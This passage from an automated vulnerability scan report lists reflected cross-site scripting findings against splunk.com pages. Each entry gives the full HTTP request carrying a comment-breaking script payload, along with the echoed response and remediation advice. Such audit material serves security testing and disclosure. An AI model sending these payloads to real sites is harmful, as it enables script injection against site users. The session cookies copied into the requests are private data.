4.515. http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/application-management-solutions/SP-CAAADSC

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 6cf3e--><script>alert(1)</script>974aee27b52 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view6cf3e--><script>alert(1)</script>974aee27b52/application-management-solutions/SP-CAAADSC HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:44 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:44 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:44 GMT; path=/
ETag: 3b62969d966c7371419a601bcdfcf1331296944204
Last-Modified: Sat, 05 Feb 2011 22:16:44 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18463

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>974aee27b52/application-management-solutions/SP-CAAADSC -->
...[SNIP]...

4.516. http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/application-management-solutions/SP-CAAADSC

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload d7f52--><script>alert(1)</script>77c3173cae0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/application-management-solutionsd7f52--><script>alert(1)</script>77c3173cae0/SP-CAAADSC HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:14 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:14 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:14 GMT; path=/
ETag: 084d3cca0270f7d30f7bb04a60af58bf1296944235
Last-Modified: Sat, 05 Feb 2011 22:17:15 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18463

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>77c3173cae0/SP-CAAADSC -->
...[SNIP]...

4.517. http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/application-management-solutions/SP-CAAADSC

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload c325c--><script>alert(1)</script>14d03973bc1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/application-management-solutions/SP-CAAADSCc325c--><script>alert(1)</script>14d03973bc1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:17:45 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:47:45 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:47:45 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18463

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>14d03973bc1 -->
...[SNIP]...

4.518. http://www.splunk.com/view/application-management-solutions/SP-CAAADSC [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/application-management-solutions/SP-CAAADSC

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b26a3--><script>alert(1)</script>13848164faa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/application-management-solutions/SP-CAAADSC?b26a3--><script>alert(1)</script>13848164faa=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

4.519. http://www.splunk.com/view/awards/SP-CAAADTE [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/awards/SP-CAAADTE

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload fffc3--><script>alert(1)</script>b23d9f63288 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewfffc3--><script>alert(1)</script>b23d9f63288/awards/SP-CAAADTE HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:33 GMT; path=/
ETag: 49c9355ec9fcf9b18292d767854accbb1296944314
Last-Modified: Sat, 05 Feb 2011 22:18:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b23d9f63288/awards/SP-CAAADTE -->
...[SNIP]...

4.520. http://www.splunk.com/view/awards/SP-CAAADTE [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/awards/SP-CAAADTE

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload a9e0c--><script>alert(1)</script>f4ed59a9ce8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/awardsa9e0c--><script>alert(1)</script>f4ed59a9ce8/SP-CAAADTE HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:08 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:09 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:09 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f4ed59a9ce8/SP-CAAADTE -->
...[SNIP]...

4.521. http://www.splunk.com/view/awards/SP-CAAADTE [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/awards/SP-CAAADTE

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 3af7c--><script>alert(1)</script>f2932ecd793 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/awards/SP-CAAADTE3af7c--><script>alert(1)</script>f2932ecd793 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:39 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:39 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18359

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f2932ecd793 -->
...[SNIP]...

4.522. http://www.splunk.com/view/awards/SP-CAAADTE [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/awards/SP-CAAADTE

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload e1d30--><script>alert(1)</script>106c367054 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/awards/SP-CAAADTE?e1d30--><script>alert(1)</script>106c367054=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:41 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 35213

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>106c367054=1 -->
...[SNIP]...

4.523. http://www.splunk.com/view/benefits/SP-CAAACCS [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/benefits/SP-CAAACCS

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7b5fc--><script>alert(1)</script>f57001f10c5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view7b5fc--><script>alert(1)</script>f57001f10c5/benefits/SP-CAAACCS HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:14:33 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:44:33 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:44:33 GMT; path=/
ETag: d73159ade34a23a6ff7bfc893c9667cd1296944073
Last-Modified: Sat, 05 Feb 2011 22:14:33 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>f57001f10c5/benefits/SP-CAAACCS -->
...[SNIP]...

4.524. http://www.splunk.com/view/benefits/SP-CAAACCS [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/benefits/SP-CAAACCS

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 1a047--><script>alert(1)</script>60a40edd839 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/benefits1a047--><script>alert(1)</script>60a40edd839/SP-CAAACCS HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
